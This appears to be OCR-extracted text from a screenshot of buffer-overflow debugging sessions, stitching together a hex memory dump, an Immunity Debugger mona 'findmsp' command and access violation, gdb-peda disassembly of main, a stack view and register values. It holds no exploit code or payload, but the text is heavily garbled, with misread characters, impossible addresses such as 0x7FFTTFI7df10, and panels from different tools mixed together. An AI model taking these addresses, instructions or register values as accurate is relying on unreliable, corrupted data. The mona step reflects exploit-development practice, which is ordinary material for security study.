00557040 10 BS 4D 00 80 CD 4D 00 20 71 80 42 00 12
00557080 00 CD 4% 00 OC 53 52 00 22 53 53 52 00 .
008570C0 SE 53 52 00 DC 53 52 00 CD 28 2C 53 00 &°
00557000 42 2C 54 00 B6 B6 53 00 00 ZF 2% 58 00 B,
00557020 04 31 54 00 ZA 46 54 00 80 =3 39 58 00 1’
00857070 15 52 54 00 53 53 54 00 13 BF BF 53 00 @
00557100 Ca 56 54 00 A7 E1 53 00 D2 11 21 51 00 £V
00857120 B0 21 51 00 18 26 51 00 DE 26 455100 1
00857120 2A B1 51 00 F3 DE 51 00 00 00 00 00 00 +2

imona findmsp

[14:28:411 Access violation when reading [386A46831
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=> Ox4005ff <main+4>: sub  rsp,Ox20
6x400603 <main+8>: mov  DWORD PTR [rbp-0x14],edi
6X400606 <main+11>: mov  QWORD PTR [rbp-0x26],rsi
0x40060a <main+15: mov DWORD PTR [rbp-0x4],0x1
0x400611 <main+22: mov rax,QWORD PTR [rbp-6x20]

[- - - - ----stack - - - -

8080| Ox7FFFIFffdefo --> Ox0

@008| OX7FFFFFffdefs --> 0x77F177236745 (<_libc_start_main+245>: mov e

di,eax)

0016 Ox7FFFFFFFdfoe --> Oxe

0024| OX7FFFFFFFdfos --> Ox7FFFFFFfdfds --> Ox7FFFFFffe33a ("/home/stack/buffer

overflow/another /buffer")

0032 0x7FFTTFI7df10 --> 0x200000000

0040 OX7FFFFFFFdfis --> 0x40057h (<main>: push  rbp)

0048] OX7FFFIFFFdf20 --> Ox

0056] 0x7FFFFFffdf2s --> Ox7faes544bc226d48

- - - - - - - - - e

Legend: code, data, rodata, value

Breakpoint 1, ©x00000000004005ff in main ()
gdb-pedas |
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| Registers | Bookmarks

B8 Stack
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00007 ffds7aecbad |[TIob
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=i = i =i -registers--
RAX: 0x10111011

REX: 0x11010110

RCX: OX0

RDX: OX0

RSI: OX0

RDI: OX0

REP: 0X0






